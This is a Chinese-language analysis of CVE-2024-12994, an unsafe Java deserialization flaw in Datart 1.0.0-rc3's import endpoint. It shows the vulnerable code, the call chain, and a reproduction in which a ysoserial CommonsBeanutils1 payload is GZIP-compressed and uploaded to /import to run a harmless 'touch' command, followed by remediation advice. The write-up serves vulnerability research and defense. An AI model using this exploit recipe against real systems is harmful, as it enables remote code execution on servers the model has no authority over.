Datart 1.0.0-rc3 反序列化漏洞(CVE-2024-12994)分析文档

漏洞概述

本漏洞(CVE-2024-12994)存在于Datart 1.0.0-rc3版本中，是一个Java反序列化漏洞，攻击者可通过构造恶意序列化数据实现远程代码执行(RCE)。

漏洞基本信息

• 漏洞位置: extractModel方法
• 漏洞类型: 不安全的反序列化
• 影响接口: /import
• CVSS评分: 待评估(根据漏洞性质，预估高危)

漏洞分析

漏洞代码定位

漏洞核心位于extractModel方法中，该方法处理上传文件时存在不安全的反序列化操作：

public TransferModel extractModel(MultipartFile file) throws IOException, ClassNotFoundException {
    try (ObjectInputStream inputStream = new ObjectInputStream(
            new GZIPInputStream(file.getInputStream()));) {
        return (TransferModel) inputStream.readObject();
    }
}

漏洞触发流程

1. 攻击者上传恶意构造的GZIP压缩的序列化文件
2. 服务器端接收文件后：
   • 获取上传文件
   • 进行GZIP解压
   • 读取文件内容
   • 执行反序列化操作(readObject())
3. 反序列化过程中执行攻击者构造的恶意代码

调用链分析

完整调用链如下：

extractModel:596, VizServiceImpl (datart.server.service.impl)
importResource:344, VizServiceImpl (datart.server.service.impl)
invoke:-1, VizServiceImpl
$$
FastClassBySpringCGLIB
$$
a2ea9a5a (datart.server.service.impl)
[10 hidden frames]
importResource:-1, VizServiceImpl
$$
EnhancerBySpringCGLIB
$$
a372364c (datart.server.service.impl)
[13 hidden frames]
importViz:281, VizController (datart.server.controller)
[82 hidden frames]

漏洞复现

准备工作

1. 准备ysoserial工具
2. 准备Java开发环境

生成Payload

1. 使用ysoserial生成恶意序列化文件：

java -jar ysoserial-all.jar CommonsBeanutils1 "touch /test/1.txt" > payload.ser

2. 将序列化文件压缩为GZIP格式：

import java.io.*;
import java.util.zip.GZIPOutputStream;

public class Main {
    public static void main(String[] args) throws IOException {
        try (FileInputStream fis = new FileInputStream("payload.ser");
             FileOutputStream fos = new FileOutputStream("payload.ser.gz");
             GZIPOutputStream gzipOut = new GZIPOutputStream(fos)) {
            byte[] buffer = new byte[1024];
            int len;
            while ((len = fis.read(buffer)) > 0) {
                gzipOut.write(buffer, 0, len);
            }
        }
    }
}

发起攻击

将生成的payload.ser.gz文件通过/import接口上传到目标服务器，如果漏洞存在，将执行touch /test/1.txt命令。

漏洞修复建议

1. 输入验证：对上传的文件内容进行严格验证
2. 安全反序列化：
   • 使用白名单机制限制可反序列化的类
   • 实现ObjectInputFilter进行过滤
3. 替代方案：考虑使用JSON等更安全的序列化格式
4. 升级依赖：确保使用的库没有已知漏洞

防护措施

1. 升级到Datart修复版本
2. 在WAF/防火墙层拦截可疑的序列化数据
3. 实施最小权限原则，降低攻击影响

参考链接

• Datart GitHub仓库
• Oracle反序列化安全指南

本文档详细分析了CVE-2024-12994漏洞的技术细节和利用方式，仅供安全研究和防御参考，请勿用于非法用途。